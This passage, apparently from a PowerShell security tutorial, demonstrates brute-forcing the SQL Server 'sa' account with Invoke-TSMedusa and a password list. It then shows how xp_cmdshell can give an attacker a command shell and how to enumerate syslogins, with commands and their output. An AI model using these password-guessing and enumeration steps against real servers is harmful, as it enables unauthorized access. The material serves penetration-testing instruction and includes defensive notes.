&lt;p style="padding-left:30px;"&gt;Password&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;--------&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;Admin&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;Password&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;sa&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;Administrator&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;sysadmin&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;And here&amp;rsquo;s what happens if we run the function.&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; Import-Csv .\sqlPwd.csv |&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;Invoke-TSMedusa -Identity 10.0.0.3 -UserName sa -Service SQL |&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;Select UserName, Password, Success&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;UserName&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Password&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Success&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;--------&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --------&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -------&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;sa&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Admin&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; False&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;sa&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Password&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; False&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;sa&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; False&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;sa&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sa&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; True&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;sa&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Administrator&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; False&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;sa&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sysadmin&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; False&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;b&gt;Note&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;If a password policy is used, which is recommended, the account might have been locked out, depending on the number of bad logon attempts permitted by the password policy.&lt;/p&gt;
&lt;p&gt;So is it really that dangerous if we know the sa account password? Well, the sa account is the built-in SQL server administrator account, and it can execute stored procedures. One stored procedure of interest for an attacker is &lt;b&gt;xp_cmdshell&lt;/b&gt;, which spawns a command shell and passes in a string for execution.&lt;/p&gt;
&lt;p&gt;Before we go ahead and execute commands by using &lt;b&gt;xp_cmdshell&lt;/b&gt;, we need a way of passing commands to a server running SQL Server. We can achieve this by creating an instance to System.Data.SQLClient.SQLCommand, and then passing the open connection stored in &lt;b&gt;$connection&lt;/b&gt; to the &lt;b&gt;Connection&lt;/b&gt; property as demonstrated here:&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; $command = New-Object System.Data.SQLClient.SQLCommand&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; $command.Connection = $Connection&lt;/p&gt;
&lt;p&gt;Now, let&amp;rsquo;s grab the syslogin accounts by using a simple SQL command. First we add a SQL command to the &lt;b&gt;CommandText &lt;/b&gt;property, and then we call the &lt;b&gt;ExecuteReader()&lt;/b&gt; method to execute the SQL command.&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;b&gt;Note&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/b&gt;It is interesting that the previous example is a potential security risk itself. Always use parameterized SQL. Never concatenate strings (especially user inputted strings), or you might find yourself hacked through an SQL injection.&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; $command.CommandText = &amp;quot;SELECT name FROM master.SYS.syslogins&amp;quot;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;$reader = $command.ExecuteReader()&lt;/p&gt;
&lt;p&gt;The &lt;b&gt;reader&lt;/b&gt; variable now contains the result from the SQL command. We can use a while loop to display the results as shown here:&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; while ($reader.Read()) {&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp; New-Object PSObject -Property @{&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Name = $reader.GetValue(0)&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp; }&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;}&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;Name&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;----&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;sa&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;##MS_SQLResourceSigningCertificate##&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;##MS_SQLReplicationSigningCertificate##&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;##MS_SQLAuthenticatorCertificate##&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
